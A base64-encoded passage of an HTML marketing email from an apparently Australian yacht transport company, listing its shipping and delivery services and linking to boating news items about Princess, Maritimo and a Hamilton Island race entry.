biB0aGUgbW92ZW1lbnQgb2YgdGhpcyBwcm9qZWN0IGFuZCBjb21tZW5kIG91ciBwYXJ0bmVycyBv biB0aGVpciBwcm9mZXNzaW9uYWxpc20gYW5kIHNraWxscyBpbiBnZXR0aW5nIGhlciBiYWNrIGhv bWUuPC9zcGFuPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9ImNvbG9yOiByZ2IoMTI3 LCAxMjcsIDEyNyk7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPgogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48 c3BhbiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyBmb250LWZhbWlseTogQXJpYWw7Ij48L3Nw YW4+PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0iY29sb3I6IHJnYigxMjcsIDEyNywg MTI3KTsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICBDaGVjayBvdXQgdGhlIHZpZGVvPC9zcGFuPiA8YSBpZD0i aGVyZSIgaHJlZj0iaHR0cDovL21haWxiYW5rLmNvbS5hdS9yZWRpci5hc3A/RT04MzczNzQ0JlQ9 MTQwNDk0JlU9NTYwMjY2NDdiNTUzNzNhNDc0YmE1MzNiZWU5NDRlYTBiYzAiPmhlcmU8L2E+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDxwPiZuYnNwOzwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgYWxpZ249ImxlZnQi IHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0OyBmb250LWZhbWlseTogQXJpYWwsSGVsdmV0aWNhLHNh bnMtc2VyaWY7IGZvbnQtc2l6ZTogMTNweDsiPiZuYnNwOzwvcD4KICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgy IHN0eWxlPSJtYXJnaW46IDBweDsgcGFkZGluZzogMHB4OyB0ZXh0LWFsaWduOiBsZWZ0OyBjb2xv cjogcmdiKDEwMiwgMTAyLCAxMDIpOyB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOyBsaW5lLWhl aWdodDogMjVweDsgZm9udC1mYW1pbHk6IEFyaWFsLEhlbHZldGljYSxzYW5zLXNlcmlmOyBmb250 LXNpemU6IDI1cHg7Ij48YSBuYW1lPSJTNCIgaWQ9IlM0IiBzdHlsZT0ibWFyZ2luOiAwcHg7IHBh ZGRpbmc6IDBweDsgY29sb3I6IHJnYigxMDIsIDEwMiwgMTAyKTsgdGV4dC10cmFuc2Zvcm06IHVw cGVyY2FzZTsgbGluZS1oZWlnaHQ6IDI1cHg7IGZvbnQtZmFtaWx5OiBBcmlhbCxIZWx2ZXRpY2Es c2Fucy1zZXJpZjsgZm9udC1zaXplOiAyMnB4OyIgb25jbGljaz0icmV0dXJuIGZhbHNlOyIgdGFy Z2V0PSJibGFuayIgYm9yZGVyPSIwIj48L2E+PC9oMj4KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHN0cm9uZz4K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgPC9zdHJvbmc+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGFsaWduPSJsZWZ0IiBz dHlsZT0idGV4dC1hbGlnbjogbGVmdDsgZm9udC1mYW1pbHk6IEFyaWFsLEhlbHZldGljYSxzYW5z LXNlcmlmOyBmb250LXNpemU6IDEzcHg7Ij48c3BhbiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVy OyBjb2xvcjogcmdiKDE0NywgMTQ3LCAxNDcpOyI+PC9zcGFuPjwvcD4KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PHN0cm9uZz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMTRweDsiPjwv c3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgPC9zdHJvbmc+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMz48L2gzPgog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8dGQgd2lkdGg9IjI0MiIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBzdHls ZT0icGFkZGluZy10b3A6IDE1cHg7IHBhZGRpbmctbGVmdDogMTVweDsiPjxpbWcgd2lkdGg9IjI0 MiIgc3R5bGU9ImJvcmRlcjogMHB4IHNvbGlkIGN1cnJlbnRDb2xvcjsgYm9yZGVyLWltYWdlOiBu b25lOyIgYWx0PSIiIHNyYz0iaHR0cDovL3d3dy55YWNodC10cmFuc3BvcnQuY29tLmF1L3Jlc291 cmNlcy9lbWFpbC9waG90b3MvMjAxMy9tYXJjaC9SaXYteC00LUImYW1wO1cuanBnIj4mbmJzcDs8 L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBzdHlsZT0i cGFkZGluZy1ib3R0b206IDBweDsgcGFkZGluZy1sZWZ0OiAzNXB4OyI+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IDxoMiBzdHlsZT0ibWFyZ2luOiAwcHg7IHBhZGRpbmc6IDBweDsgY29sb3I6IHJnYigxMDIsIDEw MiwgMTAyKTsgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsgbGluZS1oZWlnaHQ6IDI1cHg7IGZv bnQtZmFtaWx5OiBBcmlhbCxIZWx2ZXRpY2Esc2Fucy1zZXJpZjsgZm9udC1zaXplOiAyNXB4OyI+ PGEgbmFtZT0iUzIiIGlkPSJyaXZpZXJhIiBzdHlsZT0ibWFyZ2luOiAwcHg7IHBhZGRpbmc6IDBw eDsgY29sb3I6IHJnYigxMDIsIDEwMiwgMTAyKTsgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsg bGluZS1oZWlnaHQ6IDI1cHg7IGZvbnQtZmFtaWx5OiBBcmlhbCxIZWx2ZXRpY2Esc2Fucy1zZXJp ZjsgZm9udC1zaXplOiAyMnB4OyBmb250LXdlaWdodDogbm9ybWFsOyB2ZXJ0aWNhbC1hbGlnbjog bWlkZGxlOyIgb25jbGljaz0icmV0dXJuIGZhbHNlOyIgdGFyZ2V0PSJibGFuayIgYm9yZGVyPSIw Ij5JbnRlcm5hdGlvbmFsIFlhY2h0IExvZ2lzdGljczwvYT48L2gyPgogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8 YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIDxoMiBzdHlsZT0ibWFyZ2luOiAwcHg7IGNvbG9yOiByZ2IoMTAy LCAxMDIsIDEwMik7IHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7IGxpbmUtaGVpZ2h0OiAyNXB4 OyBmb250LWZhbWlseTogQXJpYWwsSGVsdmV0aWNhLHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogMjBw eDsiPjxhIG5hbWU9IlMyIiBpZD0icml2aWVyYSIgc3R5bGU9Im1hcmdpbjogMHB4OyBjb2xvcjog cmdiKDEwMiwgMTAyLCAxMDIpOyB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOyBsaW5lLWhlaWdo dDogMThweDsgcGFkZGluZy10b3A6IDIwcHg7IGZvbnQtZmFtaWx5OiBBcmlhbCxIZWx2ZXRpY2Es c2Fucy1zZXJpZjsgZm9udC1zaXplOiAxNnB4OyBmb250LXdlaWdodDogbm9ybWFsOyB2ZXJ0aWNh bC1hbGlnbjogbWlkZGxlOyIgb25jbGljaz0icmV0dXJuIGZhbHNlOyIgdGFyZ2V0PSJibGFuayIg Ym9yZGVyPSIwIj5IT1cgQXVyb3JhIENBTiBBU1NJU1QgWU9VPC9hPjwvaDI+CiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDx1bCBzdHlsZT0iY29sb3I6IHJnYigxNDcsIDE0NywgMTQ3KTsgZm9udC1mYW1pbHk6IEFy aWFsLEhlbHZldGljYSxzYW5zLXNlcmlmOyBmb250LXNpemU6IDEzcHg7Ij4KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgPGxpPkxpZnQgb24gLyBMaWZ0IG9mZiBpbnRlcm5hdGlvbmFs IHlhY2h0IHRyYW5zcG9ydDwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk+RnVsbCBNYXJpbmEg dG8gTWFyaW5hIHlhY2h0IGRlbGl2ZXJ5IHNlcnZpY2UgPC9saT4KICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IDxsaT5GdWxseSBsaWNlbnNlZCBpbi1ob3VzZSBjdXN0b21zIGFuZCBxdWFyYW50aW5lIGJyb2tl cnMgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaT5BIHJlbGlhYmxlIG5ldHdvcmsgb2Ygc2tp cHBlcnMgZm9yIGxvYWRpbmcgYW5kIGRpc2NoYXJnZSA8L2xpPgogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PGxpPkRlcGVuZGFibGUgdGVuZGVyIGhpcmUgc29sdXRpb25zIDwvbGk+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8bGk+TWFyaW5lIHN1cnZleW9ycyA8L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPllh Y2h0IGxvZ2lzdGljcyBzdXBwb3J0IC0gcHJvdmlkaW5nIGFpciBhbmQgc2VhIGZyZWlnaHQgb3B0 aW9ucyBmb3Igc2hpcCBzcGFyZXMgaW4gdHJhbnNpdCA8L2xpPgogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PGxpPkEgc2luZ3VsYXIgcG9pbnQgb2YgY29udGFjdCBmb3IgY29tbXVuaWNhdGlvbnMgYW5kIHN1 cHBvcnQuIDwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk+UHVycG9zZSBidWlsdCBhbmQgc3Vy dmV5b3IgYXBwcm92ZWQgc2hpcHBpbmcgY3JhZGxlcyA8L2xpPgogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PGxpPldlIHNoaXAgZWFjaCB5YWNodCBpbmRpdmlkdWFsbHkgc28gdGhlIHlhY2h0IGlzIG5vdCBz dWJqZWN0IHRvIG90aGVyIGNhcmdvIHByZXNlbnRpbmcgdG8gbWFrZSB0aGUgdm95YWdlIG9jY3Vy LiA8L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD4mbmJzcDs8L3A+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGJvZHk+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IDwvdGFibGU+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiB2YWxpZ249 InRvcCIgc3R5bGU9InBhZGRpbmctdG9wOiAxMHB4OyBwYWRkaW5nLWJvdHRvbTogNDBweDsiPjxi cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICA8YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRh YmxlIHdpZHRoPSI3NTAiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjEwIiBjZWxscGFkZGluZz0i MCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8dGJvZHk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgdmFs aWduPSJ0b3AiIHN0eWxlPSJwYWRkaW5nOiAxMHB4IDE1cHggMTVweDsiPjxhIG5hbWU9Im9jZWFu bGl2ZW5ld3MiIGlkPSJvY2VhbmxpdmVuZXdzIiBvbmNsaWNrPSJyZXR1cm4gZmFsc2U7IiBocmVm PSIjIiB0YXJnZXQ9ImJsYW5rIiBib3JkZXI9IjAiPjwvYT48YSBzdHlsZT0iY29sb3I6IHJnYig4 NywgMTQ1LCAxODYpOyBmb250LWZhbWlseTogQXJpYWwsSGVsdmV0aWNhLHNhbnMtc2VyaWY7IiBv bmNsaWNrPSJyZXR1cm4gZmFsc2U7IiBocmVmPSJodHRwOi8vbWFpbGJhbmsuY29tLmF1L3JlZGly LmFzcD9FPTgzNzM3NDQmVD0xNDA0OTQmVT01NjA5NDIxNjk1YjljOTQ0NDJhYmIwZTc2NTYzMDNj OTdiMCIgdGFyZ2V0PSJfYmxhbmsiIGJvcmRlcj0iMCI+PGltZyB3aWR0aD0iMjE0IiBoZWlnaHQ9 IjE1MCIgc3R5bGU9ImJvcmRlcjogMHB4IHNvbGlkIGN1cnJlbnRDb2xvcjsgYm9yZGVyLWltYWdl OiBub25lOyIgYWx0PSIiIHNyYz0iaHR0cDovL3d3dy55YWNodC10cmFuc3BvcnQuY29tLmF1L3Jl c291cmNlcy9lbWFpbC9sb2dvcy9wYXJ0bmVyL29jZWFuLWxvZ28uanBnIj48L2E+CiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIDxwIHN0eWxlPSJjb2xvcjogcmdiKDEyMCwgMTIwLCAxMjApOyBmb250LWZhbWlseTog QXJpYWwsSGVsdmV0aWNhLHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogMTFweDsiPk5ld3MgcHJvdWRs eSBzdXBwbGllZCA8YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJ5IG1lZGlhIHBhcnRuZXIsIDxzdHJvbmc+ T2NlYW4gTWVkaWEuPC9zdHJvbmc+PGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBzdHlsZT0iY29sb3I6 IHJnYig4NywgMTQ1LCAxODYpOyBmb250LWZhbWlseTogQXJpYWwsSGVsdmV0aWNhLHNhbnMtc2Vy aWY7IiBvbmNsaWNrPSJyZXR1cm4gZmFsc2U7IiBocmVmPSJodHRwOi8vd3d3Lm9jZWFubWFnYXpp bmUuY29tLmF1L2ovaW5kZXgucGhwIiB0YXJnZXQ9Il9ibGFuayIgYm9yZGVyPSIwIj53d3cub2Nl YW5tZWRpYS5jb20uYXU8L2E+PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8dGQgdmFsaWduPSJ0b3AiIHN0eWxlPSJwYWRkaW5nOiAxNXB4OyBiYWNrZ3JvdW5kLWNvbG9y OiByZ2IoMjU1LCAyNTUsIDI1NSk7Ij48aW1nIHdpZHRoPSIyMDQiIGhlaWdodD0iMTIwIiBzdHls ZT0iYm9yZGVyOiAwcHggc29saWQgY3VycmVudENvbG9yOyBib3JkZXItaW1hZ2U6IG5vbmU7IiBh bHQ9IiIgc3JjPSJodHRwOi8vd2Vic2l0ZXMubWFpbGJhbmsuY29tLmF1L0F1cm9yYUdsb2JhbExv Z2lzdGljcy9pbWFnZXMvc3RhZ184N19IYW1vLmpwZyI+CiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoNCBzdHls ZT0iY29sb3I6IHJnYigyNTUsIDEwMiwgMCk7IHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7IHBh ZGRpbmctYm90dG9tOiAwcHg7IGZvbnQtZmFtaWx5OiBBcmlhbCxIZWx2ZXRpY2Esc2Fucy1zZXJp ZjsgZm9udC1zaXplOiAxMnB4OyBtYXJnaW4tYm90dG9tOiAwcHg7Ij5maXJzdCBlbnRyeSBmb3Ig aGFtbyAnMTQ8L2g0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBzdHlsZT0iY29sb3I6IHJnYigxMjAsIDEy MCwgMTIwKTsgZm9udC1mYW1pbHk6IEFyaWFsLEhlbHZldGljYSxzYW5zLXNlcmlmOyBmb250LXNp emU6IDExcHg7Ij5BIFN5ZG5leSBjb3VwbGUgaXMgc2FpbGluZyBmcm9tIEluZGlhIHRvIEhhbWls dG9uIElzbGFuZCBmb3IgdGhlaXIgZmlyc3QgdGFzdGUgb2YgcmFjaW5nPC9wPgogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8YSBpZD0iUkVBRCBNT1JFID4iIHN0eWxlPSJjb2xvcjogcmdiKDEyMCwgMTIwLCAxMjAp OyB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOyBmb250LWZhbWlseTogQXJpYWwsSGVsdmV0aWNh LHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogOXB4OyBmb250LXdlaWdodDogYm9sZDsiIG9uY2xpY2s9 InJldHVybiBmYWxzZTsiIGhyZWY9Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUvcmVkaXIuYXNwP0U9 ODM3Mzc0NCZUPTE0MDQ5NCZVPTU2MDQ0NWY5M2VjZTcwMDQ4MDNiOTJmZTI1MTNkMjQyYzNmIiBi b3JkZXI9IjAiPlJlYWQgbW9yZSAmZ3Q7PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCIgc3R5bGU9InBhZGRpbmc6 IDE1cHg7IGJhY2tncm91bmQtY29sb3I6IHJnYigyNTUsIDI1NSwgMjU1KTsiPjxpbWcgd2lkdGg9 IjIwNCIgaGVpZ2h0PSIxMjAiIHN0eWxlPSJib3JkZXI6IDBweCBzb2xpZCBjdXJyZW50Q29sb3I7 IGJvcmRlci1pbWFnZTogbm9uZTsiIGFsdD0iIiBzcmM9Imh0dHA6Ly93ZWJzaXRlcy5tYWlsYmFu ay5jb20uYXUvQXVyb3JhR2xvYmFsTG9naXN0aWNzL2ltYWdlcy9zdGFnXzg1X1ByaW5jZXNzLmpw ZyI+PGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICA8aDQgc3R5bGU9ImNvbG9yOiByZ2IoMjU1LCAxMDIsIDAp OyB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOyBwYWRkaW5nLWJvdHRvbTogMHB4OyBmb250LWZh bWlseTogQXJpYWwsSGVsdmV0aWNhLHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogMTJweDsgbWFyZ2lu LWJvdHRvbTogMHB4OyI+UFJJTkNFU1MgUyBJUyBBTEwgQ0xBU1M8L2g0PgogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8cCBzdHlsZT0iY29sb3I6IHJnYigxMjAsIDEyMCwgMTIwKTsgZm9udC1mYW1pbHk6IEFyaWFs LEhlbHZldGljYSxzYW5zLXNlcmlmOyBmb250LXNpemU6IDExcHg7Ij5QZXJmb3JtYW5jZSBhbmQg Im9uIHdhdGVyYXR0aXR1ZGUiIGFyZSB0aGUgaGFsbG1hcmtzIG9mIHRoZSBuZXcgUyBDTEFTUyBy YW5nZTwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPGEgaWQ9IlJFQUQgTU9SRSA+IiBzdHlsZT0iY29sb3I6 IHJnYigxMjAsIDEyMCwgMTIwKTsgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsgZm9udC1mYW1p bHk6IEFyaWFsLEhlbHZldGljYSxzYW5zLXNlcmlmOyBmb250LXNpemU6IDlweDsgZm9udC13ZWln aHQ6IGJvbGQ7IiBvbmNsaWNrPSJyZXR1cm4gZmFsc2U7IiBocmVmPSJodHRwOi8vbWFpbGJhbmsu Y29tLmF1L3JlZGlyLmFzcD9FPTgzNzM3NDQmVD0xNDA0OTQmVT01NjAyYTFkODBlZTBmYmQ0ZDc0 ODQ0YzIyMWI0MmUxMTEzNyIgYm9yZGVyPSIwIj5SZWFkIG1vcmUgJmd0OzwvYT48L3RkPgogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiIHN0eWxlPSJwYWRkaW5nOiAxNXB4OyBiYWNrZ3Jv dW5kLWNvbG9yOiByZ2IoMjU1LCAyNTUsIDI1NSk7Ij48aW1nIHdpZHRoPSIyMDQiIGhlaWdodD0i MTIwIiBzdHlsZT0iYm9yZGVyOiAwcHggc29saWQgY3VycmVudENvbG9yOyBib3JkZXItaW1hZ2U6 IG5vbmU7IiBhbHQ9IiIgc3JjPSJodHRwOi8vd2Vic2l0ZXMubWFpbGJhbmsuY29tLmF1L0F1cm9y YUdsb2JhbExvZ2lzdGljcy9pbWFnZXMvc3RhZ184NV9NYXJpdGltby5qcGciPjxicj4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgPGg0IHN0eWxlPSJjb2xvcjogcmdiKDI1NSwgMTAyLCAwKTsgdGV4dC10cmFuc2Zv cm06IHVwcGVyY2FzZTsgcGFkZGluZy1ib3R0b206IDBweDsgZm9udC1mYW1pbHk6IEFyaWFsLEhl bHZldGljYSxzYW5zLXNlcmlmOyBmb250LXNpemU6IDEycHg7IG1hcmdpbi1ib3R0b206IDBweDsi Pk1BUklUSU1PIFVQU0laRVM8L2g0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBzdHlsZT0iY29sb3I6IHJn YigxMjAsIDEyMCwgMTIwKTsgZm9udC1mYW1pbHk6IEFyaWFsLEhlbHZldGljYSxzYW5zLXNlcmlm OyBmb250LXNpemU6IDExcHg7Ij5JbiByZXNwb25zZSB0byBkZW1hbmQsIHBsYW5zIGZvciBhIDY1 IG1vZGVsIGFuZCBsYXJnZXIgYXJlIGluIE1hcml0aW1vJ3Mgc2lnaHRzPC9wPgogICAgICAgICAg 